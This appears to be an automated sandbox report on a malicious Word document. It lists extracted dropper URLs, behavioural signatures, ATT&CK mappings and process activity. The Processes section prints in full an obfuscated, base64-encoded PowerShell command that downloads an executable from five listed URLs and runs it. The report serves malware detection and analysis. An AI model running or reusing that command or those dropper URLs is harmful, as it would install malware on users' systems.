Analysis

  • max time kernel
    115s
  • resource
    win7v191014
  • submitted
    27-12-2019 09:40

General

  • Target

    a85cc2088eaf316b8fcf3c7f33996b1acf93f99f820eaa9dfac83d0637adc9ce.zip

  • Sample

    191227-bnqrnb7ygj

  • SHA256

    b1b011cb1761dbd29030575cbd26447a7fb13ebeac3c62a30cfe1274f04b2f1a

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://xsnonline.us/blogs/4x466v/

exe.dropper

http://obbydeemusic.com/aqoeivj4fd/us5htvn/

exe.dropper

http://veeplan.com/wp-content/dW0o3RoJNG/

exe.dropper

http://www.kmacobd.com/u9r/

exe.dropper

http://aijdjy.com/dup-installer/t0/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Modifies system certificate store 2 TTPs 1 IoCs
  • Modifies registry class 136 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Process spawned unexpected child process 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\VHZ_6063009267_UVJ_10122019.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:2016
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiAGIAMQA0ADcAeAAwADgAMABjADIAPQAnAHgAMgA3ADMAMAA1ADAAMwBjAGIAMAA2ACcAOwAkAGIANQB4ADAAYwA0AGMANgBiADMANAA4ADgAIAA9ACAAJwA4ADUANgAnADsAJABjAGIAMAA1AGMANgA1ADEAMABjADAAMAA3AD0AJwBjADAAMQA4ADMAMAA5AHgAMABjADIAJwA7ACQAeABjADAAeAA1ADcAYgAzADgAYgAyAHgANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgA1AHgAMABjADQAYwA2AGIAMwA0ADgAOAArACcALgBlAHgAZQAnADsAJAB4ADMAMAA5ADQAeAAwADkAYwAwAGIAMAA9ACcAYwBjADAAOAAyADYAMAAyAHgAMwAxACcAOwAkAHgAYwAyAGMAMgA5ADUAeAAyADAAOAAwADIAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAGIAMAAwAGIAMQAzADcAMQAwADgAMQA9ACcAaAB0AHQAcAA6AC8ALwB4AHMAbgBvAG4AbABpAG4AZQAuAHUAcwAvAGIAbABvAGcAcwAvADQAeAA0ADYANgB2AC8AKgBoAHQAdABwADoALwAvAG8AYgBiAHkAZABlAGUAbQB1AHMAaQBjAC4AYwBvAG0ALwBhAHEAbwBlAGkAdgBqADQAZgBkAC8AdQBzADUAaAB0AHYAbgAvACoAaAB0AHQAcAA6AC8ALwB2AGUAZQBwAGwAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZABXADAAbwAzAFIAbwBKAE4ARwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGsAbQBhAGMAbwBiAGQALgBjAG8AbQAvAHUAOQByAC8AKgBoAHQAdABwADoALwAvAGEAaQBqAGQAagB5AC4AYwBvAG0ALwBkAHUAcAAtAGkAbgBzAHQAYQBsAGwAZQByAC8AdAAwAC8AJwAuACIAcwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAGMAeABjADIAMAAwADAAMQA1ADMAYgA9ACcAYwA3ADgAeABiADgANwA5ADAAMAAwADYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAYwAxADYAOAAwADEANAAzADAAYwB4ACAAaQBuACAAJABiADAAMABiADEAMwA3ADEAMAA4ADEAKQB7AHQAcgB5AHsAJAB4AGMAMgBjADIAOQA1AHgAMgAwADgAMAAyAC4AIgBEAG8AdwBOAEwAYABPAEEAZABmAGkAYABMAGUAIgAoACQAYgBjADEANgA4ADAAMQA0ADMAMABjAHgALAAgACQAeABjADAAeAA1ADcAYgAzADgAYgAyAHgANwApADsAJABiADkAMwA2ADYAYgAwADAAOAB4ADYAPQAnAGMAMAAzADAAMABjADkAOAAyADcAMAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAHgAYwAwAHgANQA3AGIAMwA4AGIAMgB4ADcAKQAuACIAbABgAGUAbgBnAFQAaAAiACAALQBnAGUAIAAyADQANQAxADYAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQAeABjADAAeAA1ADcAYgAzADgAYgAyAHgANwApADsAJABiAHgAYwAxADAAMAA1ADIANQBjADAANwA0AD0AJwBjADcANgAwADQAMAAwADcAeAB4ADMAMgA4ACcAOwBiAHIAZQBhAGsAOwAkAGIAMgAwADMANwAwADYAMAA5ADQAOQA9ACcAeAB4ADIAMABiADkAMwAwADQAMwBjADAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAeABjADUANgAwADAAMwA5ADUAOAB4AHgAPQAnAGMAMAA1ADkAMgAzADQAMAAwADYAYwAwACcA
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Process spawned unexpected child process
    PID:1860

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2016-0-0x00000000060D0000-0x00000000060D4000-memory.dmp
    Filesize

    16KB

  • memory/2016-1-0x0000000000329000-0x0000000000330000-memory.dmp
    Filesize

    28KB

  • memory/2016-2-0x000000000625F000-0x0000000006261000-memory.dmp
    Filesize

    8KB

  • memory/2016-3-0x000000000625F000-0x0000000006261000-memory.dmp
    Filesize

    8KB